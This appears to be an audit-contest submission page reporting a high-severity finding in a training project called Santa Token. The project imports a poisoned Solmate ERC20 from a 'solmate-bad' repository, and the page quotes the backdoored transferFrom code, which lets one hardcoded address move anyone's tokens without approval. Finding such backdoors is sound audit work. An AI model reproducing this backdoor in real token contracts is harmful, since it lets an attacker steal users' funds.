Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Poisoned dependency in Santa Token

Summary

Santa Token use poisoned ERC20 dependency

Vulnerability Details

Import @solmate/src/tokens/ERC20.sol actually uses repo patrickalphac/solmate-bad where token transferFrom is poisoned

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

Impact

Address 0x815F577F1c1bcE213c012f166744937C889DAF17 can withdraw any tokens from any balances

Tools Used

Recommendations

Use not poisoned ERC20 base contract

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.